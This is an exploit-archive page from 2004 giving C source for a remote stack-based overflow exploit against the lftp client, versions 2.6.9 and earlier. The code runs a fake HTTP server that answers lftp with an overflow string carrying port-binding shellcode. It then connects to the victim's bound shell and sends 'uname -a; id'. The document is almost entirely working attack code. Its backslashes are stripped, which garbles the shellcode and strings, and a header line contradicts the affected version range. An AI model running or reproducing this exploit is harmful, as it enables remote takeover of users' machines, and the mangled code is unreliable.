[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : lftp <= 2.6.9 Remote Stack based Overflow Exploit
# Published : 2004-01-14
# Author : Li0n7
# Previous Title : Serv-U FTPD 3.x/4.x "SITE CHMOD" Command Remote Exploit
# Next Title : Cyrus IMSPD v1.7 abook_dbname Remote Root Exploit
/*
* lftp remote stack-based overflow exploit by Li0n7 voila fr
*
* Vulnerability discovered by Ulf Harnhammar Ulf.Harnhammar.9485 student uu se
*
* Lftp versions later than 2.6.10 are prone to a remotly exploitable stack-based
* overflow in try_netscape_proxy() and try_squid_eplf( (src/HttpDir.cc). This
* bad coded proof-of-concept demonstrates the exploitation by exploiting the
* vulnerable function try_netscape_proxy() (HttpDir.cc:358) and it needs more targets
* to be efficient. Please note that this vulnerability is really hard to exploit
* since lots of parameters come into play and are different from a platform to another,
* for we have to overwrite some variables and registers before overwriting eip.
* With some time and lot of patience, you should find your own parameters by using
* GDB. Params to edit are marked with a '!' in the POC code. Moreover, I have edited
* Bighawk's port binding shellcode not to contain any white character such as r,t,v,
* f,n or 20 because we are exploiting a sscanf function.
*
* usage: ./lftp-exp [-f <path>][-p <port>][-r <ret>][-t <target>]
* -f <path>: create <path>index.html
* -p <port>: run a fake lftp server on port <port> (default: 80)
* -r <ret>: return address you would like to use
* -t <target>: choose the target among the platforms available
* Platforms supported are:
* num: 0 - slack 9.0 - 0xbffff770
*
* For instance: ./lftp-exp -p 80 -t 0
* ./lftp-exp -f / -t 0
*
* A poil !
*/
#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#define BUFFERSIZE 117 /*!*/
#define SIZE 256
#define D_BACK 26112
#define D_RET 0xbffff770
#define D_PORT 80
#define DUMMY1 0xbffff140 /*!*/
#define DUMMY2 0xbffff810 /*!*/
#define OK "cd ok, cwd=/n"
/* Edited bighawk 78 bytes portbinding shellcode */
/* size: 80 bytes */
/* Does not contain any white character i.e r,t,v,f,n,20 */
char shellcode[] =
"x31xdbxf7xe3x53x43x53x6ax02x89xe1xb0"
"x66x52x50xcdx80x43x66x53x89xe1x6ax10"
"x51x50x89xe1x52x50xb0x66xcdx80x89xe1"
"xb3x04xb0x66xcdx80x43xb0x66xcdx80x89"
"xd9x93xb0x3fxcdx80x49x79xf9x52x68x6e"
"x2fx73x68x68x2fx2fx62x69x89xe3x52x53"
"x89xe1xb0x28x2cx1dxcdx80";
char badc0ded[] =
{0x20,0x09,0x0a,0x0b,0x0c,0x0d,0x00};
char *lftp_versions[] =
{
"lftp/2.3",
"lftp/2.4.9",
"lftp/2.5.2",
"lftp/2.6.0",
"lftp/2.6.3",
"lftp/2.6.4",
"lftp/2.6.5",
"lftp/2.6.6",
"lftp/2.6.7",
"lftp/2.6.8",
"lftp/2.6.9",
};
unsigned long ret_addr = D_RET;
int back_connection(long host);
int check_shellcode(char *host);
void check_version();
char * build(char *host);
int create_file(char *path);
void wait_connection(int port);
long resolve_host(u_char *host_name);
void die(char *argv);
struct os_ret_addr
{
int num;
char *plat;
long ret;
};
struct os_ret_addr exp_os[]=
{
{0,"slack 9.0",0xbffff770},
{0,NULL,0}
};
int
main(int argc,char *argv[])
{
int i, option, port = D_PORT;
long host = 0;
char * option_list = "f:p:r:t:", path[128];
opterr = 0;
if (argc < 2) die(argv[0]);
while((option = getopt(argc,argv,option_list)) != -1)
switch(option)
{
case 'f':
strncpy(path,optarg,sizeof(path)-1);
path[sizeof(path)-1] = ' ';
create_file(path);
return 0;
case 'p':
port = atoi(optarg);
if(port > 65535 || port < 0) exit(-1);
break;
case 'r':
ret_addr = atol(optarg);
if(ret_addr > 0xbfffffff || ret_addr < 0x00000000) exit(1);
break;
case 't':
for(i=0; exp_os[i].plat != NULL; i++)
if(atoi(optarg) > i || atoi(optarg) < 0)
{
fprintf(stderr," Platforms supported are:n");
for(i=0; exp_os[i].plat != NULL; i++)
fprintf(stderr," num: %i - %s - 0x%xn",i,exp_os[i].plat,exp_os[i].ret);
exit(1);
}
ret_addr = exp_os[atoi(optarg)].ret;
break;
case '?':
fprintf(stderr,"[-] option '%c' invalidn",optopt);
die(argv[0]);
}
wait_connection(port);
return 0;
}
int
check_shellcode(char *host)
{
int i,j;
for(i=0;i<strlen(shellcode);i++)
for(j=0;j<strlen(badc0ded);j++)
if(shellcode[i] == badc0ded[j])
{
fprintf(stderr,"[%s] badc0ded shellcode!n",host);
return -1;
}
return 0;
}
void
check_version(char *version)
{
int i;
for(i=0;i<sizeof(lftp_versions);i++)
if(!strcmp(lftp_versions[i],version))
{
fprintf(stdout,"(vulnerable).n");
return;
}
fprintf(stdout,"(not vulnerable).n");
return;
}
char
*build(char *host)
{
char *buffer,*ptr;
int i;
unsigned long *addr_ptr;
fprintf(stdout,"[%s] Building evil string to send (using ret 0x%x)...n",host,ret_addr);
buffer = (char *)malloc(SIZE+1);
if(!buffer)
{
fprintf(stderr,"[-] Can't allocate memory,exiting...n");
exit(1);
}
ptr = buffer;
memset(ptr,0x90,BUFFERSIZE-strlen(shellcode));
ptr += BUFFERSIZE-strlen(shellcode);
if((i = check_shellcode(host)) < 0) exit(1);
for(i=0;i<strlen(shellcode);i++)
*ptr++ = shellcode[i];
/* You might need to modify the padding too */
addr_ptr = (long *)ptr;
for(i=0;i<24;i++)
*(addr_ptr++) = DUMMY1;
for(i=0;i<8;i++)
*(addr_ptr++) = DUMMY2;
*(addr_ptr++) = ret_addr; /* EIP */
*(addr_ptr++) = DUMMY2;
ptr = (char *)addr_ptr;
*ptr = 0x0;
return buffer;
}
int
create_file(char *path)
{
int fd;
char buffer[512], file[256];
ssize_t written;
memset(file,0,256);
memset(buffer,0,512);
strcat(file,path);
strcat(file,"index.html");
fd = open(file,O_WRONLY | O_CREAT | O_TRUNC,0644);
if(fd < 0)
{
fprintf(stderr,"[-] %sn",strerror(errno));
exit(0);
}
snprintf(buffer,512,"<a href="/">empty</a> Fri May 30 10:09:06 2001 %sn",build("+"));
written = write(fd,buffer,512);
if(written != 512)
{
fprintf(stderr,"[-] %sn",strerror(errno));
exit(0);
}
close(fd);
fprintf(stdout,"[+] File %s successfuly created.n",file);
return 0;
}
int
back_connection(long host)
{
struct sockaddr_in s;
u_char sock_buf[4096];
fd_set fds;
int fd,size;
char *command="/bin/uname -a ; /usr/bin/id;n";
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0)
{
fprintf(stderr,"[-] %sn",strerror(errno));
exit(1);
}
s.sin_family = AF_INET;
s.sin_port = htons(D_BACK);
s.sin_addr.s_addr = host;
if (connect(fd, (struct sockaddr *)&s, sizeof(struct sockaddr)) == -1)
{
fprintf(stderr,"[-] %sn",strerror(errno));
close(fd);
return 0;
}
fprintf(stdout, "[+] Let's rock on!n");
size = send(fd, command, strlen(command), 0);
if(size < 0)
{
fprintf(stderr,"[-] %sn",strerror(errno));
close(fd);
exit(1);
}
for (;;)
{
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(fd, &fds);
if (select(255, &fds, NULL, NULL, NULL) == -1)
{
fprintf(stderr,"[-] %sn",strerror(errno));
close(fd);
exit(1);
}
memset(sock_buf, 0, sizeof(sock_buf));
if (FD_ISSET(fd, &fds))
{
if (recv(fd, sock_buf, sizeof(sock_buf), 0) == -1)
{
fprintf(stderr, "[-] Connection closed by remote host,exiting...n");
close(fd);
exit(1);
}
fprintf(stderr, "%s", sock_buf);
}
if (FD_ISSET(0, &fds))
{
read(0, sock_buf, sizeof(sock_buf));
write(fd, sock_buf, strlen(sock_buf));
}
}
return 0;
}
void
wait_connection(int port)
{
struct sockaddr_in s;
int size, fd, fd2, i, r, cancel = 0;
char data[1024], version[32], request[512];
char *ptr;
long host = 0;
memset(data,0,1024);
fprintf(stdout,"[+] Setting up a fake HTTP server...n");
fd = socket(AF_INET,SOCK_STREAM,0);
if(fd < 0)
{
fprintf(stderr,"[-] %sn",strerror(errno));
exit(1);
}
s.sin_family = AF_INET;
s.sin_port = htons(port);
s.sin_addr.s_addr = 0;
bind(fd,(struct sockaddr *) &s,sizeof(s));
listen(fd,1);
size = sizeof(s);
fprintf(stdout,"[+] Awaiting connection on port %in",port);
while(1)
{
cancel = 0;
fd2 = accept(fd,(struct sockaddr *) &s, &size);
if(!fork())
{
close(fd);
while(1)
{
memset(data,0,1024);
r = read(fd2,data,1024);
if((ptr = strstr(data,"User-Agent: lftp")) != NULL)
{
if(strstr(data,"HEAD"))
{
fprintf(stdout,"[%s] HEAD request received.n",inet_ntoa(s.sin_addr));
size = send(fd2, OK, strlen(OK), 0);
if(size < 0)
{
fprintf(stderr,"[-] %sn",strerror(errno));
close(fd2);
exit(1);
}
}
if(strstr(data,"GET"))
{
memset(request,0,512);
memset(version,0,32);
strncpy(version,ptr+12,10);
version[sizeof(version)-1] = ' ';
fprintf(stdout,"[%s] GET request received.n",inet_ntoa(s.sin_addr));
fprintf(stdout,"[%s] Remote version of lftp: %s ",inet_ntoa(s.sin_addr),version);
check_version(version);
snprintf(request,512,"HTTP/1.1 200 OKn"
"Server: thttpd/2.21 20apr2001n"
"Content-Type: text/htmln"
"Date: Sun, 21 Dec 2003 16:29:44 GMTn"
"Last-Modified: Sun, 21 Dec 2003 16:23:41 GMTn"
"Accept-Ranges: bytesn"
"Connection: closenn"
"<a href="/">empty</a>tFri May 30 10:09:06 2001 %sn",build((char*)inet_ntoa(s.sin_addr)));
size = send(fd2, request, strlen(request), 0);
if(size < 0)
{
fprintf(stderr,"[-] %sn",strerror(errno));
close(fd2);
exit(1);
}
sleep(2);
host = resolve_host((char *)inet_ntoa(s.sin_addr));
back_connection(host);
cancel = 1;
break;
}
}
}
if(cancel == 1) break;
}
close(fd2);
}
return;
}
long resolve_host(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
addr.s_addr = inet_addr(host_name);
if (addr.s_addr == -1)
{
host_ent = gethostbyname(host_name);
if (!host_ent) return(0);
memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
}
return(addr.s_addr);
}
void
die(char *argv)
{
int i;
fprintf(stdout,"t Remote exploit for lftp < 2.6.10 by Li0n7 n");
fprintf(stdout,"n usage: %s [-f <path>][-p <port>][-r <ret>][-t <target>]n",argv);
fprintf(stdout," -f <path>: create <path>index.htmln");
fprintf(stdout," -p <port>: run a fake lftp server on port <port> (default: 80)n");
fprintf(stdout," -r <ret>: return address you would like to usen");
fprintf(stdout," -t <target>: choose the target among the platforms availablen");
fprintf(stdout," Platforms supported are:n");
for(i=0; exp_os[i].plat != NULL; i++)
fprintf(stderr," num: %i - %s - 0x%xn",i,exp_os[i].plat,exp_os[i].ret);
fprintf(stdout,"n Vulnerability discovered by Ulf Harnhammar <Ulf.Harnhammar.9485@student.uu.se> n");
fprintf(stdout," Contact me: Li0n7@voila.frnn");
exit(1);
}
// www.Syue.com [2004-01-14]